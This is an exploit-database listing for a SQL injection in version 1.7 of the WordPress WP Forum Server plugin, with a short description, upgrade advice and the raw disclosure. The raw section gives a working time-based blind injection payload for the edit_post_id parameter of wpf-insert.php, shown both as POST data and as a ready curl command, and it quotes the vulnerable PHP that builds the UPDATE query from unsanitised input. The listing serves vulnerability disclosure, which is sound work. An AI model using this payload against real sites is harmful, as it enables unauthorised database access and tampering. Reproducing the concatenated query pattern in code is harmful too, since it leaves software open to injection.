header-logo
Suggest Exploit
vendor:
WP Forum Server plugin
by:
Miroslav Stampar
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: WP Forum Server plugin
Affected Version From: 1.7
Affected Version To: 1.7
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2011

WordPress WP Forum Server plugin <= 1.7 SQL Injection Vulnerability

A SQL injection vulnerability exists in WordPress WP Forum Server plugin version 1.7 and below. An attacker can send a specially crafted POST request to the vulnerable wpf-insert.php script, which contains malicious SQL code in the edit_post_id parameter. This can allow an attacker to execute arbitrary SQL commands on the underlying database.

Mitigation:

Upgrade to the latest version of the WordPress WP Forum Server plugin.
Source

Exploit-DB raw data:

# Exploit Title: WordPress WP Forum Server plugin <= 1.7 SQL Injection Vulnerability
# Date: 2011-09-07
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/forum-server.zip
# Version: 1.7 (tested)

---------------
PoC (POST data)
---------------
http://www.site.com/wp-content/plugins/forum-server/wpf-insert.php
 edit_post_submit=1&edit_post_id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20&edit_post_subject=test&message=dummy&thread_id=1

e.g.
curl --data "edit_post_submit=1&edit_post_id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20&edit_post_subject=test&message=dummy&thread_id=1" http://www.site.com/wp-content/plugins/forum-server/wpf-insert.php

---------------
Vulnerable code
---------------
if(isset($_POST['edit_post_submit'])){
    $subject = $vasthtml->input_filter($_POST['edit_post_subject']);
    $content = $vasthtml->input_filter($_POST['message']);
    $thread = $vasthtml->check_parms($_POST['thread_id']);
    $edit_post_id = $_POST['edit_post_id'];
    ...    
    $sql = ("UPDATE $vasthtml->t_posts SET text = '".stripslashes($content)."', subject = '".stripslashes($subject)."' WHERE id = $edit_post_id");
    $wpdb->query($sql);